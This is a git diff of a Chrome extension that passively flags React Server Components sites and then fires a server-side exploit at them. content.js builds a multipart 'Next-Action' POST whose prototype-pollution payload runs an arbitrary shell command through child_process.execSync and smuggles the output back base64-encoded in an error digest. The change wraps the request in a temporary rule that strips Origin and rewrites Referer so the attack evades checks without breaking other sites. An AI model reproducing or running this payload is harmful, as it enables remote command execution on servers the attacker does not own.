diff --git a/background.js b/background.js
index 222ca44..a8772df 100644
--- a/background.js
+++ b/background.js
@@ -1,17 +1,47 @@
 // background.js - 负责管理图标状态
 
+// Dynamic rule for exploit requests only.
+// We add this rule right before an exploit and remove it immediately after.
+// This prevents the Origin/Referer stripping from affecting normal site traffic
+// (which was causing WebSocket/socket failures on sites like speedtest.net).
+const EXPLOIT_RULE = {
+    id: 1,
+    priority: 1,
+    action: {
+        type: "modifyHeaders",
+        requestHeaders: [
+            { header: "Referer", operation: "set", value: "Referer-modified-value" },
+            { header: "Origin", operation: "remove" }
+        ]
+    },
+    condition: {
+        urlFilter: "*",
+        resourceTypes: ["xmlhttprequest"]
+    }
+};
+
 chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
-    // 接收到 content.js 发来的报警信号
+
+    // Badge update when RSC is passively detected
     if (request.action === "update_badge" && sender.tab) {
-        // 设置红色背景
-        chrome.action.setBadgeBackgroundColor({
-            tabId: sender.tab.id,
-            color: "#FF0000"
-        });
-        // 设置文本为 "!"
-        chrome.action.setBadgeText({
-            tabId: sender.tab.id,
-            text: "!"
-        });
+        chrome.action.setBadgeBackgroundColor({ tabId: sender.tab.id, color: "#FF0000" });
+        chrome.action.setBadgeText({ tabId: sender.tab.id, text: "!" });
+    }
+
+    // Enable header-stripping rule right before exploit fires
+    if (request.action === "exploit_start") {
+        chrome.declarativeNetRequest.updateDynamicRules({
+            removeRuleIds: [1],
+            addRules: [EXPLOIT_RULE]
+        }, () => sendResponse({ ok: true }));
+        return true; // async
+    }
+
+    // Remove rule immediately after exploit completes
+    if (request.action === "exploit_end") {
+        chrome.declarativeNetRequest.updateDynamicRules({
+            removeRuleIds: [1]
+        }, () => sendResponse({ ok: true }));
+        return true; // async
     }
-});
\ No newline at end of file
+});
diff --git a/content.js b/content.js
index fe4ee0d..e4acfdb 100644
--- a/content.js
+++ b/content.js
@@ -50,8 +50,6 @@ async function performExploit(cmd) {
     const targetCmd = cmd || "echo vulnerability_test";
     
     // 构造 Payload，动态插入命令
-    // 注意：这里需要处理 JS 转义，简单起见直接替换
-    // Payload 逻辑: execSync('YOUR_CMD').toString().trim()
     const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${targetCmd}').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}`;
     const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
     const bodyParts = [
@@ -74,18 +72,34 @@ async function performExploit(cmd) {
     const targetUrl = "/adfa"; // 使用相对路径
 
     try {
-        const res = await fetch(targetUrl, {
-            method: 'POST',
-            headers: {
-                'Next-Action': 'x',
-                'X-Nextjs-Request-Id': '7a3f9c1e',
-                'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
-                'Content-Type': `multipart/form-data; boundary=${boundary}`,
-                'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
-                // Origin 头由浏览器自动管理，不手动添加
-            },
-            body: bodyParts
-        });
+        // FIX: Enable the Origin/Referer-stripping rule ONLY for the duration of this
+        // exploit fetch, then immediately remove it. Previously the rule lived in
+        // rules.json and was always active, which stripped the Origin header from ALL
+        // XHR requests on every site — breaking WebSocket handshakes on sites like
+        // speedtest.net (causing "DOWNLOAD TEST ERROR: socket error").
+        await new Promise(resolve =>
+            chrome.runtime.sendMessage({ action: "exploit_start" }, resolve)
+        );
+
+        let res;
+        try {
+            res = await fetch(targetUrl, {
+                method: 'POST',
+                headers: {
+                    'Next-Action': 'x',
+                    'X-Nextjs-Request-Id': '7a3f9c1e',
+                    'X-Nextjs-Html-Request-ld': '9bK2mPaRtVwXyZ3S@!sT7u',
+                    'Content-Type': `multipart/form-data; boundary=${boundary}`,
+                    'X-Nextjs-Html-Request-Id': 'SSTMXm7OJ_g0Ncx6jpQt9'
+                },
+                body: bodyParts
+            });
+        } finally {
+            // Always remove the rule after the request, success or failure
+            await new Promise(resolve =>
+                chrome.runtime.sendMessage({ action: "exploit_end" }, resolve)
+            );
+        }
 
         const responseText = await res.text();
 
@@ -96,14 +110,10 @@ async function performExploit(cmd) {
             let rawBase64 = digestMatch[1];
             
             try {
-                // --- 修改点 2：解码逻辑 ---
-                
                 // 1. 先处理 JSON 字符串转义 (比如把 \" 变回 ")
                 let cleanBase64 = JSON.parse(`"${rawBase64}"`);
                 
-                // 2. Base64 解码
-                // atob() 可以解码 Base64，但如果包含中文可能会乱码
-                // 使用 TextDecoder 组合拳可以完美支持 UTF-8 中文
+                // 2. Base64 解码，支持 UTF-8 中文
                 const decodedStr = new TextDecoder().decode(
                     Uint8Array.from(atob(cleanBase64), c => c.charCodeAt(0))
                 );
@@ -146,4 +156,4 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
         performExploit(req.cmd).then(res => sendResponse(res));
         return true;
     }
-});
\ No newline at end of file
+});
diff --git a/rules.json b/rules.json
index 1ec27ab..fe51488 100644
--- a/rules.json
+++ b/rules.json
@@ -1,24 +1 @@
-[
-  {
-    "id": 1,
-    "priority": 1,
-    "action": {
-      "type": "modifyHeaders",
-      "requestHeaders": [
-        { 
-          "header": "Referer", 
-          "operation": "set", 
-          "value": "Referer-modified-value" 
-        },
-        { 
-          "header": "Origin", 
-          "operation": "remove" 
-        }
-      ]
-    },
-    "condition": {
-      "urlFilter": "*", 
-      "resourceTypes": ["xmlhttprequest"] 
-    }
-  }
-]
\ No newline at end of file
+[]